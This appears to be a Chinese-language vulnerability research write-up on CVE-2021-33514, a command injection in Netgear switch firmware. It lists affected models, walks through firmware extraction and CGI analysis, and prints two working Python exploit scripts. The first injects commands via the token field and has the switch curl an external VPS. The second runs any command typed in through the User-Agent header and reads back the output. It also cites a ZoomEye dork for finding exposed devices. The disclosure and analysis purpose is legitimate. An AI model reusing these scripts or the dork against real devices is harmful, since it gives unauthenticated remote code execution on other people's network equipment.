作者:OneShell@知道創宇404實驗室
時間:2021年7月21日
漏洞信息
CVE-2021-33514是發生在Netgear多款交換機上的命令注入漏洞,可以未認證遠程代碼執行,CVSS3:9.8(高危)。
漏洞產生的根本原因是libsal.so.0.0中的函數sal_sys_ssoReturnToken_chk存在命令注入,這個函數用于處理url中的tocken字段,直接將tocken傳遞到格式化字符串中,然后調用popen執行。后端處理setup.cgi加載了該so文件,并且在處理url的時候調用了該存在漏洞的函數。漏洞利用起來也非常簡單,直接給cgi發送構造了命令的請求就可以。
Netgear官方給出的受漏洞影響設備和固件版本如下表:
| 影響設備 | 固件版本 |
|---|---|
| GC108P | <=1.0.7.3 |
| GC108PP | <=1.0.7.3 |
| GS108Tv3 | <=7.0.6.3 |
| GS110TPP | <=7.0.6.3 |
| GS110TPv3 | <=7.0.6.3 |
| GS110TUP | <=1.0.4.3 |
| GS710TUP | <=1.0.4.3 |
| GS716TP | <=1.0.2.3 |
| GS716TPP | <=1.0.2.3 |
| GS724TPP | <=2.0.4.3 |
| GS724TPv2 | <=2.0.4.3 |
| GS728TPPv2 | <=6.0.6.3 |
| GS728TPv2 | <=6.0.6.3 |
| GS752TPPv1 | <=6.0.6.3 |
| GS752TPv2 | <=6.0.6.3 |
| MS510TXM | <=1.0.2.3 |
| MS510TXUP | <=1.0.2.3 |
漏洞復現
復現過程僅僅使用了python的requests模塊,設備使用的是放置在公網的GS110TPP,固件版本V7.0.1.16,使用的so和cgi程序關鍵代碼差別不大,具有代表性。通過分析交換機固件發現里面常見的可以反彈shell的程序都木有,那驗證命令執行就使用了curl,用它去訪問我的公網VPS,如果nc檢測到訪問,說明發生了命令注入。
import requests
vul_url = 'https://X.X.X.X/cgi/setup.cgi?token=\';$(cat);\''
payload = 'curl X.X.X.X.X:8080'
try:
res = requests.post(url=vul_url, data=payload, verify=False, timeout=10)
print('[!] should not return any thing')
except:
print('[+] success!')

漏洞分析
固件提取
首先在Netgear官網上可以下載到存在漏洞的固件,必須贊揚一下Netgear,基本上以往的固件都可以下載到,而且幾乎都是沒有加密的,這對漏洞分析來說大大的好。下載到固件了按照流程binwalk -Me一把梭,然后使用find就會發現,找不到存在漏洞的so文件也找不到存在調用so的cgi程序。仔細看解壓出來可能的文件系統文件夾里面,其實還有modsqfs.img和sqfs.img兩個文件,這還得binwalk繼續梭了這兩個文件,才能有得到存在漏洞的so和cgi。


靜態分析
流程上還是比較簡單的。首先看一下libsal.so里面存在漏洞的函數sal_sys_ssoReturnToken_chk,下面是直接貼出來IDA反編譯結果,可以看到直接將函數輸入a1,格式化字符串到v25中,然后調用popen執行了v25。

再看看setup.cgi中是如何調用這個函數的,這個地方注意,C語言的或邏輯是,如果前面的判定通過了,后續就不進行判定。第一個判定是檢查query_string中是否含有tocken字符串,當我們構造了payload那么判定會失敗,則繼續執行后面使用逗號連接的C語句,調用漏洞函數。strtok函數用于使用特定字符分割字符串,詳情使用可以參考函數說明,最終就把tocken字段的值賦值給v9。

關于CGI以及此處payload的寫法
CGI如何處理用戶請求
之前分析的路由器后端的程序,大多是某某httpd+cgi的做法,當時對于cgi程序如何獲取到url傳遞的參數就僅僅有一個感性的認識:通過環境變量來進行傳參,如果是GET請求,那么看環境變量QUERY_STRING,如果是POST請求,可能先從CONTENT_LENGTH獲取數據長度,然后從STDIN中讀取指定長度的數據。但對于cgi程序是如何執行的,與httpd之間的關系是什么,還是有點迷糊。于是找了一些文章大概看了下。
CGI(Common Gateway Interface)實際上是一種約定,一種接口協議,可以使用c、python、lua、php來實現。WEB服務器會根據CGI的類型決定如何向CGI程序傳遞數據,一般都是通過標準輸入/輸出流和環境變量來與CGI程序進行數據傳遞。例如這個地方的WEB服務器使用的是lighthttpd,通過逆向可以找到有一個函數http_cgi_headers是用來傳遞給CGI程序的一些環境變量的。

如果是使用的POST方式,服務器設定CONTENT_LENGTH環境變量說明POST數據的有效數據字節數,然后CGI通過傳遞的這個環境變量,從標準輸入STDIN中去讀取數據。在POC里面,首先token字段值會被注入,然后$(cat)從從標準輸入中去讀取數據,而此時POST的數據也被傳遞到了標準輸入中,那么就相當于直接執行了POST發出的數據。
payload的另一種寫法
如上,是通過環境變量和標準輸入傳遞參數給CGI的,最開始的payload是通過POST請求將數據通過標準輸入傳遞給CGI,而且沒有執行結果回顯。那么接下來使用GET請求+環境變量+獲取執行結果的方式重新來寫一次payload。
首先確定將要執行的命令通過哪一個環境變量傳入,這個地方選擇了User-Agent環境變量,也是經常被使用到的一種方式。其次是決定通過何種方式進行回顯,此處是將執行結果寫入到/webtmp/文件夾的一個js文件中。由于/webtmp/文件夾和/tmp/是鏈接起來(固件文件系統中查看)的,因此寫入到/webtmp/文件夾,然后使用URL訪問/tmp/中的js文件即可。
from requests.api import head
import requests
import random
import string
requests.packages.urllib3.disable_warnings()
proxy = {
}
letters = string.ascii_letters
vul_addr = 'https://X.X.X.X'
vul_url = vul_addr + '/cgi/setup.cgi?token=\';$HTTP_USER_AGENT;\''
random_str = ''.join(random.choice(letters) for i in range(10))
cmd1 = input('InputCMD: ').replace(' ', '${IFS}')
cmd2 = f'rm /tmp/{random_str}.js'.replace(' ', '${IFS}')
payload1 = f'sh -c {cmd1}>/webtmp/{random_str}.js'
payload2 = f'sh -c {cmd2}'
header = {}
try:
header['User-Agent'] = payload1 # 注入命令并將結果寫入到js文件
res = requests.get(vul_url, headers=header, verify=False,
timeout=5, allow_redirects=False, proxies=proxy)
if res.status_code == 200:
print('[+] command send success')
result_file = vul_addr + f'/tmp/{random_str}.js'
result = requests.get(result_file, timeout=5,
verify=False, allow_redirects=False, proxies=proxy) # 讀取結果js文件
print('[+] get result')
print(result.text)
print('[+] rm tmp result file')
header['User-Agent'] = payload2
res = requests.get(vul_url, headers=header, verify=False,
timeout=5, allow_redirects=False, proxies=proxy) # 刪除結果js文件
except Exception as e:
print(e)

小結
這次的命令注入漏洞邏輯是比較簡單的,注入點不需要很長的變量依賴分析。通過對于Netgear幾次命令注入漏洞的分析,心中大概也清楚嵌入式設備中路由器大概是怎么獲取用戶請求數據,然后如何傳遞給CGI程序進行處理的。
使用zoomeye和pocsuite3
漏洞影響面
通過ZoomEye網絡空間搜索引擎,搜索ZoomEye dork數據挖掘語法查看漏洞公網資產影響面。
zoomeye dork 關鍵詞:"?aj4+fileVer"


verify模式


attack模式


參考文獻
本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/1645/
暫無評論